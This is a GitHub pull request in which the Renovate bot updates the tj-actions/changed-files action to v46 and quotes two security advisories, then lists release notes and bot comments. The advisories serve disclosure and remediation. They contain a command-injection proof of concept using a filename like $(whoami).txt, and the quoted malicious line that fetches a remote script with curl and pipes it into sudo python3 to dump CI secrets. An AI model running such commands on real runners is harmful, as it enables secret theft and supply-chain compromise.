Skip to content

Update tj-actions/changed-files action to v46 [SECURITY] - #119

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/github-tags-tj-actions-changed-files-vulnerability
Open

Update tj-actions/changed-files action to v46 [SECURITY]#119
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/github-tags-tj-actions-changed-files-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 27, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change
tj-actions/changed-files action major v35 → v46

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

tj-actions/changed-files has Potential Actions command injection in output filenames (GHSL-2023-271)

CVE-2023-51664 / GHSA-mcph-m25j-8j63

More information

Details

Summary

The tj-actions/changed-files workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets.

Details

The changed-files action returns a list of files changed in a commit or pull request which provides an escape_json input enabled by default, only escapes " for JSON values.

This could potentially allow filenames that contain special characters such as ; and ` (backtick) which can be used by an attacker to take over the GitHub Runner if the output value is used in a raw fashion (thus being directly replaced before execution) inside a run block. By running custom commands an attacker may be able to steal secrets such as GITHUB_TOKEN if triggered on other events than pull_request. For example on push.

Proof of Concept
  1. Submit a pull request to a repository with a new file injecting a command. For example $(whoami).txt which is a valid filename.
  2. Upon approval of the workflow (triggered by the pull request), the action will get executed and the malicious pull request filename will flow into the List all changed files step below.
      - name: List all changed files
        run: |
          for file in $; do
            echo "$file was changed"
          done

Example output:

##[group]Run for file in $(whoami).txt; do
    for file in $(whoami).txt; do
        echo "$file was changed"
    done
shell: /usr/bin/bash -e {0}

##[endgroup]
runner.txt was changed
Impact

This issue may lead to arbitrary command execution in the GitHub Runner.

Resolution

  • A new safe_output input would be enabled by default and return filename paths escaping special characters like ;, ` (backtick), $, (), etc for bash environments.

  • A safe recommendation of using environment variables to store unsafe outputs.

- name: List all changed files
  env:
    ALL_CHANGED_FILES: $
  run: |
    for file in "$ALL_CHANGED_FILES"; do
      echo "$file was changed"
    done
Resources

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

CVE-2025-30066 / GHSA-mrrh-fwg8-r2c3

More information

Details

Summary

A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details

The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC):
  • Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  • Retroactively updated tags pointing to the malicious commit:
    • v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution:

The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:

B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.

Proof of Concept (PoC)
Steps to Reproduce:
  1. Create a GitHub Actions workflow using the tj-actions/changed-files action:
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. Run the workflow and inspect the logs in the Actions tab.
  2. Vulnerable workflows may display secrets in the logs.
Detection:

Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:

  • gist.githubusercontent.com

Live reproduction logs:
🔗 Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.

Duration of Vulnerability

The vulnerability was active between March 14 and March 15, 2025.

Action Required

  1. Review your workflows executed between March 14 and March 15:

    • Check the changed-files section for unexpected output.
    • Decode suspicious output using the following command: 
      echo 'xxx' | base64 -d | base64 -d
    • If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.

  2. Update workflows referencing the compromised commit:

    • If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.

  3. Tagged versions:

    • If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

  4. Rotate potentially exposed secrets:

    • As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact
  • Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
  • Who is impacted:
    • Over 23,000 repositories using tj-actions/changed-files.
    • Organizations with public repositories are at the highest risk, as their logs may already be compromised.
  • Potential consequences:
    • Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
    • Unauthorized access to source code, infrastructure, and production environments.
    • Credential leaks in public repositories, enabling further supply chain attacks.

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

tj-actions/changed-files (tj-actions/changed-files)

v46.0.1

Compare Source

🐛 Bug Fixes

  • Update log message when attempting to locate merge base (#​2493) (a5cad85) - (Tonye Jack)

➕ Add

🔄 Update

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (9cc867c) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (f2f439b) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (531f5f7) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (9237eb7) - (github-actions[bot])

📚 Documentation

⚙️ Miscellaneous Tasks

  • Update sync-release-version.yml to use commit hash for tags in docs (#​2497) (a530a27) - (Tonye Jack)
  • deps: Bump actions/setup-node from 4.2.0 to 4.3.0 (#​2484) (0b975f6) - (dependabot[bot])

⬆️ Upgrades

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (45fb12d) - (github-actions[bot])

v46.0.0

Compare Source

[!WARNING]
Security Alert: A critical security issue was identified in this action due to a compromised commit.

This commit has been removed from all tags and branches, and necessary measures have been implemented to prevent similar issues in the future.

Action Required:

  • Review your workflows executed between March 14 and March 15. If you notice unexpected output under the changed-files section, decode it using the following command: echo 'xxx' | base64 -d | base64 -d
    If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
  • If your workflows reference this commit directly by its SHA, you must update them immediately to avoid using the compromised version.
  • If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

Additionally, as a precaution, we recommend rotating any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

What's Changed
New Contributors

Full Changelog: tj-actions/changed-files@v45.0.5...v46.0.0

What's Changed

Full Changelog: tj-actions/changed-files@v45.0.5...v46.0.0

v46

Compare Source

🚀 Features

➖ Remove

🔄 Update

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (3dbc1e1) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (b1ccff8) - (github-actions[bot])

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (050a3d3) - (github-actions[bot])

📚 Documentation

  • Update link to glob patterns (#​2590) (a892f50) - (Tonye Jack)
  • Add Jellyfrog as a contributor for code, and doc (#​2573) (f000a9b) - (allcontributors[bot])

🧪 Testing

⚙️ Miscellaneous Tasks

⬆️ Upgrades

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (db731a1) - (github-actions[bot])

v45.0.9

Compare Source

What's Changed

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@aviator-app

aviator-app Bot commented Feb 27, 2026 •
edited
Loading

Copy link
Copy Markdown

Current Aviator status

Aviator will automatically update this comment as the status of the PR changes.
Comment /aviator refresh to force Aviator to re-examine your PR (or learn about other /aviator commands).

This pull request is currently open (not queued).

How to merge

To merge this PR, comment /aviator merge or add the mergequeue label.

See the real-time status of this PR on the Aviator webapp.
Use the Aviator Chrome Extension to see the status of your PR within GitHub.

@performance-testing-bot

performance-testing-bot Bot commented Feb 27, 2026

Copy link
Copy Markdown

Unable to locate .performanceTestingBot config file

@secure-code-warrior-for-github

secure-code-warrior-for-github Bot commented Feb 27, 2026

Copy link
Copy Markdown

Micro-Learning Topic: OS command injection (Detected by phrase)

Matched on "command injection"

What is this? (2min video)

In many situations, applications will rely on OS provided functions, scripts, macros and utilities instead of reimplementing them in code. While functions would typically be accessed through a native interface library, the remaining three OS provided features will normally be invoked via the command line or launched as a process. If unsafe inputs are used to construct commands or arguments, it may allow arbitrary OS operations to be performed that can compromise the server.

Try a challenge in Secure Code Warrior

Helpful references
  • OWASP Command Injection - OWASP community page with comprehensive information about command injection, and links to various OWASP resources to help detect or prevent it.
  • OWASP testing for Command Injection - This article is focused on providing testing techniques for identifying command injection flaws in your applications

Micro-Learning Topic: Information disclosure (Detected by phrase)

Matched on "Information leakage"

Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser. Source: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Try a challenge in Secure Code Warrior

@difflens

difflens Bot commented Feb 27, 2026

Copy link
Copy Markdown

View changes in DiffLens

@AdamOswald

AdamOswald commented Feb 27, 2026 •
edited
Loading

Copy link
Copy Markdown
Owner

✅ Snyk checks have passed. No issues have been found so far.

Status Scan Engine Critical High Medium Low Total (0)
✅ Open Source Security 0 0 0 0 0 issues

💻 Catch issues earlier using the plugins for VS Code, JetBrains IDEs, Visual Studio, and Eclipse.

@difflens

difflens Bot commented Mar 26, 2026

Copy link
Copy Markdown

View changes in DiffLens

@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/github-tags-tj-actions-changed-files-vulnerability branch March 27, 2026 00:50
@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Update tj-actions/changed-files action to v46 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/github-tags-tj-actions-changed-files-vulnerability branch 2 times, most recently from dcf0dcc to 7e3b3dc Compare March 30, 2026 18:04
@difflens

difflens Bot commented Mar 30, 2026

Copy link
Copy Markdown

View changes in DiffLens

@difflens

difflens Bot commented Mar 30, 2026

Copy link
Copy Markdown

View changes in DiffLens

@difflens

difflens Bot commented Apr 8, 2026

Copy link
Copy Markdown

View changes in DiffLens

2 similar comments
@difflens

difflens Bot commented Apr 15, 2026

Copy link
Copy Markdown

View changes in DiffLens

@difflens

difflens Bot commented Apr 21, 2026

Copy link
Copy Markdown

View changes in DiffLens

@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update tj-actions/changed-files action to v46 [SECURITY] - autoclosed Update tj-actions/changed-files action to v46 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/github-tags-tj-actions-changed-files-vulnerability branch 2 times, most recently from 7e3b3dc to 7e793bc Compare April 27, 2026 22:04
@difflens

difflens Bot commented Apr 27, 2026

Copy link
Copy Markdown

View changes in DiffLens

@difflens

difflens Bot commented Apr 27, 2026

Copy link
Copy Markdown

View changes in DiffLens

@socket-security

socket-security Bot commented Apr 27, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Addeddlib@​20.0.19710010010070
Addedgrpcio@​1.80.07210010010070
Addedigraph@​1.0.09510010010070
Addedpip@​26.17410010010070
Addedpipenv@​2026.5.27510010010070
Addedkornia@​0.8.274100100100100
Addedpaddlenlp@​2.8.175100100100100
Addednumba@​0.65.175100100100100
Addedfilterpy@​1.4.510010010075100
Addeddill@​0.4.180100100100100
Addedpsutil@​7.2.294100100100100
Addedeinops@​0.8.297100100100100
Addedaiohttp@​3.13.597100100100100
Addedpaddlefsl@​1.1.098100100100100
Addedpaddle2onnx@​2.1.099100100100100
Addedjedi@​0.19.299100100100100
Addedclip-anytorch@​2.6.0100100100100100
Addedlpips@​0.1.4100100100100100
Addedmarkupsafe@​3.0.3100100100100100
Addedomegaconf@​2.3.0100100100100100

View full report

@difflens

difflens Bot commented Apr 29, 2026

Copy link
Copy Markdown

View changes in DiffLens

@difflens

difflens Bot commented Jun 11, 2026

Copy link
Copy Markdown

View changes in DiffLens

2 similar comments
@difflens

difflens Bot commented Jun 18, 2026

Copy link
Copy Markdown

View changes in DiffLens

@difflens

difflens Bot commented Jul 30, 2026

Copy link
Copy Markdown

View changes in DiffLens

@mergify

mergify Bot commented Jul 30, 2026

Copy link
Copy Markdown

Tick the box to add this pull request to the merge queue (same as @mergifyio queue).

  • Queue this pull request

@difflens

difflens Bot commented Aug 12, 2026

Copy link
Copy Markdown

View changes in DiffLens

@mergify

mergify Bot commented Aug 12, 2026

Copy link
Copy Markdown

Tick the box to add this pull request to the merge queue (same as @mergifyio queue).

  • Queue this pull request

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

size/XS

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@AdamOswald